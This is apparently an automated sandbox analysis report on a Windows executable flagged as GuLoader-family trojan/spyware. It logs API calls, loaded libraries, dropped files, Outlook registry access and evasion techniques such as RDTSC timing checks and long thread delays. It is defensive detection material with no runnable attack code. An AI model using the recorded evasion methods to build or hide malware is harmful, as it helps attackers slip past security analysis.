Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A842920	4_2_3A842920
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A840D88	4_2_3A840D88
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A842238	4_2_3A842238
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A841B3F	4_2_3A841B3F
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A8436E1	4_2_3A8436E1
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A841460	4_2_3A841460
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A840A03	4_2_3A840A03
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A840A10	4_2_3A840A10
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A842911	4_2_3A842911
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A842FFB	4_2_3A842FFB
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A840D7B	4_2_3A840D7B
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A842229	4_2_3A842229
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A840007	4_2_3A840007
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A840040	4_2_3A840040
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A939771	4_2_3A939771
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A930F74	4_2_3A930F74
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_3A932530	4_2_3A932530

Source: C:\Users\user\Desktop\JOSXXL1.exe

Code function: String function: 00402BBF appears 51 times

Source: JOSXXL1.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/7@6/5

Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 0_2_004033B6 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004033B6
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_004033B6 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004033B6

Source: C:\Users\user\Desktop\JOSXXL1.exe

Code function: 0_2_004046E2 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046E2

Source: C:\Users\user\Desktop\JOSXXL1.exe

Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\JOSXXL1.exe

File created: C:\Users\user\AppData\Local\indvandrings

Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\JOSXXL1.exe

File created: C:\Users\user\AppData\Local\Temp\nsxA531.tmp

Jump to behavior

Source: JOSXXL1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\JOSXXL1.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: JOSXXL1.exe

ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\JOSXXL1.exe

File read: C:\Users\user\Desktop\JOSXXL1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\JOSXXL1.exe "C:\Users\user\Desktop\JOSXXL1.exe"
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process created: C:\Users\user\Desktop\JOSXXL1.exe "C:\Users\user\Desktop\JOSXXL1.exe"
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process created: C:\Users\user\Desktop\JOSXXL1.exe "C:\Users\user\Desktop\JOSXXL1.exe"	Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: JOSXXL1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2321723084.000000000890B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\JOSXXL1.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_3_0019CA98 pushfd ; retf 0019h	4_3_0019CA99
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_3_0019EE18 push eax; iretd	4_3_0019EE65
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_3_0019EE8C push eax; iretd	4_3_0019EEA9
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_3_0019CF4C push eax; iretd	4_3_0019CF4D
Source: C:\Users\user\Desktop\JOSXXL1.exe	Code function: 4_2_00159C30 push esp; retf 0017h	4_2_00159D55

Source: C:\Users\user\Desktop\JOSXXL1.exe

File created: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\JOSXXL1.exe	API/Special instruction interceptor: Address: 91911FA
Source: C:\Users\user\Desktop\JOSXXL1.exe	API/Special instruction interceptor: Address: 49011FA

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\JOSXXL1.exe	RDTSC instruction interceptor: First address: 9155A4B second address: 9155A4B instructions: 0x00000000 rdtsc 0x00000002 test ecx, ebx 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F4434F42160h 0x00000008 test cl, 00000015h 0x0000000b inc ebp 0x0000000c test ah, ch 0x0000000e inc ebx 0x0000000f test ch, 00000077h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\JOSXXL1.exe	RDTSC instruction interceptor: First address: 48C5A4B second address: 48C5A4B instructions: 0x00000000 rdtsc 0x00000002 test ecx, ebx 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F4434B962A0h 0x00000008 test cl, 00000015h 0x0000000b inc ebp 0x0000000c test ah, ch 0x0000000e inc ebx 0x0000000f test ch, 00000077h 0x00000012 rdtsc

Source: C:\Users\user\Desktop\JOSXXL1.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Memory allocated: 37450000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Memory allocated: 39450000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599782	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598913	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598229	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 598110	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597191	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596579	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596329	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596204	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595969	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595824	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595477	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595355	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595247	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595117	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594891	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594657	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594532	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594407	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594297	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594188	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 594063	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593938	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593813	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593688	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593578	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593469	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Thread delayed: delay time: 593344	Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe	Window / User API: threadDelayed 1665			Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe	Window / User API: threadDelayed 8156			Jump to behavior

Source: C:\Users\user\Desktop\JOSXXL1.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nstA69B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\JOSXXL1.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -36893488147419080s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6624	Thread sleep count: 1665 > 30	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6624	Thread sleep count: 8156 > 30	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -599782s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -598913s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -598360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -598229s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -598110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -597985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -597860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -597191s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -597063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\JOSXXL1.exe TID: 6604	Thread sleep time: -596938s >= -30000s	Jump to behavior
